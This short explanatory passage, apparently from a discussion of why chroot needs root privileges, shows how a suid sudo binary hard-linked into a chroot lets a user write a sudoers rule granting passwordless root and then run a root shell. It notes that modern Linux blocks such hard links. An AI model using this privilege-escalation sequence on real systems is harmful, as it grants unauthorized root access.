If you can get a suid root binary into the chroot, then you can control its configuration files to bypass security restrictions.
$ ln /usr/bin/sudo ./my-chroot
$ echo "$USER ALL=(ALL) NOPASSWD: ALL" > ./my-chroot/etc/sudoers.d/01-oops
$ chroot ./my-chroot
$ sudo bash
modern Linux distributions prevent creation of hard links to suid binaries, but the restrictions on chroot came years before that.